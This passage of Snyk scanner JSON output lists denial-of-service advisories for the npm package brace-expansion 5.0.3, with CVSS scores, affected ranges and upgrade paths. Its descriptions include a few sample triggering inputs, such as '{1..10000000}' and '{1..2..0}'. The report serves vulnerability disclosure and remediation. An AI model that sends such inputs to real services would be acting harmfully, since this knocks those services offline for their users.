"Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", 